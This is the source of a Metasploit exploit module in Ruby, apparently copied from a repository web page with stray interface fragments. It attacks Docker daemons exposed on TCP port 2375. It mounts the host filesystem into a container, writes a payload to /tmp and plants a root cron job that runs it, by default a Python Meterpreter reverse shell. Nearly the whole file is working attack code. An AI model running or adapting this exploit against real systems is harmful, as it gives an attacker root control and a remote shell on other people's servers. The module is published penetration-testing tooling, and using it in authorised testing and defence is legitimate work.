# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Docker Daemon - Unprotected TCP Socket Exploit',
|
||||||
|
'Description' => %q{
|
||||||
|
Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
|
||||||
|
with tls but without tls-auth), an attacker can create a Docker
|
||||||
|
container with the '/' path mounted with read/write permissions on the
|
||||||
|
host server that is running the Docker container. As the Docker
|
||||||
|
container executes command as uid 0 it is honored by the host operating
|
||||||
|
system allowing the attacker to edit/create files owned by root. This
|
||||||
|
exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
|
||||||
|
the host server.
|
||||||
|
|
||||||
|
The Docker image should exist on the target system or be a valid image
|
||||||
|
from hub.docker.com.
|
||||||
|
},
|
||||||
|
'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' => [
|
||||||
|
['URL', 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface'],
|
||||||
|
['URL', 'https://docs.docker.com/engine/reference/commandline/dockerd/#bind-docker-to-another-hostport-or-a-unix-socket']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Jul 25, 2017',
|
||||||
|
'Targets' => [
|
||||||
|
[ 'Python', {
|
||||||
|
'Platform' => 'python',
|
||||||
|
'Arch' => ARCH_PYTHON,
|
||||||
|
'Payload' => {
|
||||||
|
'Compat' => {
|
||||||
|
'ConnectionType' => 'reverse noconn none tunnel'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}]
|
||||||
|
],
|
||||||
|
'DefaultOptions' => { 'WfsDelay' => 180, 'Payload' => 'python/meterpreter/reverse_tcp' },
|
||||||
|
'DefaultTarget' => 0))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(2375),
|
||||||
|
OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'python:3-slim' ]),
|
||||||
|
OptString.new('CONTAINER_ID', [ false, 'container id you would like'])
|
||||||
|
]
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check_image(image_id)
|
||||||
|
vprint_status("Check if images exist on the target host")
|
||||||
|
res = send_request_raw(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri('images', 'json')
|
||||||
|
)
|
||||||
|
return unless res and res.code == 200 and res.body.include? image_id
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def pull_image(image_id)
|
||||||
|
print_status("Trying to pulling image from docker registry, this may take a while")
|
||||||
|
res = send_request_raw(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri('images', 'create?fromImage=' + image_id)
|
||||||
|
)
|
||||||
|
return unless res.code == 200
|
||||||
|
|
||||||
|
res
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_container_id
|
||||||
|
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
|
||||||
|
|
||||||
|
rand_text_alpha_lower(8)
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_cmd(mnt_path, cron_path, payload_path)
|
||||||
|
vprint_status('Creating the docker container command')
|
||||||
|
echo_cron_path = mnt_path + cron_path
|
||||||
|
echo_payload_path = mnt_path + payload_path
|
||||||
|
|
||||||
|
cron_command = "python #{payload_path}"
|
||||||
|
payload_data = payload.raw
|
||||||
|
|
||||||
|
command = "echo \"#{payload_data}\" >> #{echo_payload_path} && "
|
||||||
|
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} && "
|
||||||
|
command << "echo \"\" >> #{echo_cron_path} && "
|
||||||
|
command << "echo \"* * * * * root #{cron_command}\" >> #{echo_cron_path}"
|
||||||
|
|
||||||
|
command
|
||||||
|
end
|
||||||
|
|
||||||
|
def make_container(mnt_path, cron_path, payload_path)
|
||||||
|
vprint_status('Setting container json request variables')
|
||||||
|
{
|
||||||
|
'Image' => datastore['DOCKERIMAGE'],
|
||||||
|
'Cmd' => make_cmd(mnt_path, cron_path, payload_path),
|
||||||
|
'Entrypoint' => %w[/bin/sh -c],
|
||||||
|
'HostConfig' => {
|
||||||
|
'Binds' => [
|
||||||
|
'/:' + mnt_path
|
||||||
|
]
|
||||||
|
}
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def del_container(container_id)
|
||||||
|
send_request_raw(
|
||||||
|
{
|
||||||
|
'method' => 'DELETE',
|
||||||
|
'uri' => normalize_uri('containers', container_id)
|
||||||
|
},
|
||||||
|
1 # timeout
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
res = send_request_raw(
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => normalize_uri('containers', 'json'),
|
||||||
|
'headers' => { 'Accept' => 'application/json' }
|
||||||
|
)
|
||||||
|
|
||||||
|
if res.nil?
|
||||||
|
print_error('Failed to connect to the target')
|
||||||
|
return Exploit::CheckCode::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.headers['Server'].include? 'Docker'
|
||||||
|
return Exploit::CheckCode::Vulnerable
|
||||||
|
end
|
||||||
|
|
||||||
|
Exploit::CheckCode::Safe
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
# check if target is vulnerable
|
||||||
|
unless check == Exploit::CheckCode::Vulnerable
|
||||||
|
fail_with(Failure::Unknown, 'Failed to connect to the target')
|
||||||
|
end
|
||||||
|
|
||||||
|
# check if image is not available, pull it or fail out
|
||||||
|
image_id = datastore['DOCKERIMAGE']
|
||||||
|
if check_image(image_id).nil?
|
||||||
|
fail_with(Failure::Unknown, 'Failed to pull the docker image') if pull_image(image_id).nil?
|
||||||
|
end
|
||||||
|
|
||||||
|
# create required information to create json container information.
|
||||||
|
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
|
||||||
|
payload_path = '/tmp/' + rand_text_alpha(8)
|
||||||
|
mnt_path = '/mnt/' + rand_text_alpha(8)
|
||||||
|
container_id = make_container_id
|
||||||
|
|
||||||
|
# create container
|
||||||
|
res_create = send_request_raw(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri('containers', 'create?name=' + container_id),
|
||||||
|
'headers' => { 'Content-Type' => 'application/json' },
|
||||||
|
'data' => make_container(mnt_path, cron_path, payload_path).to_json
|
||||||
|
)
|
||||||
|
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res_create && res_create.code == 201
|
||||||
|
|
||||||
|
print_status("The docker container is created, waiting for deploy")
|
||||||
|
register_files_for_cleanup(cron_path, payload_path)
|
||||||
|
|
||||||
|
# start container
|
||||||
|
send_request_raw(
|
||||||
|
{
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri('containers', container_id, 'start')
|
||||||
|
},
|
||||||
|
1 # timeout
|
||||||
|
)
|
||||||
|
|
||||||
|
# wait until container stopped
|
||||||
|
vprint_status("Waiting until the docker container stopped")
|
||||||
|
res_wait = send_request_raw(
|
||||||
|
'method' => 'POST',
|
||||||
|
'uri' => normalize_uri('containers', container_id, 'wait'),
|
||||||
|
'headers' => { 'Accept' => 'application/json' }
|
||||||
|
)
|
||||||
|
|
||||||
|
# delete container
|
||||||
|
deleted_container = false
|
||||||
|
if res_wait.code == 200
|
||||||
|
vprint_status("The docker container has been stopped, now trying to remove it")
|
||||||
|
del_container(container_id)
|
||||||
|
deleted_container = true
|
||||||
|
end
|
||||||
|
|
||||||
|
# if container does not deploy, remove it and fail out
|
||||||
|
unless deleted_container
|
||||||
|
del_container(container_id)
|
||||||
|
fail_with(Failure::Unknown, "The docker container failed to deploy")
|
||||||
|
end
|
||||||
|
print_status('Waiting for the cron job to run, can take up to 60 seconds')
|
||||||
|
end
|
||||||
|
end
|
||||||
Loading…
Add table
Reference in a new issue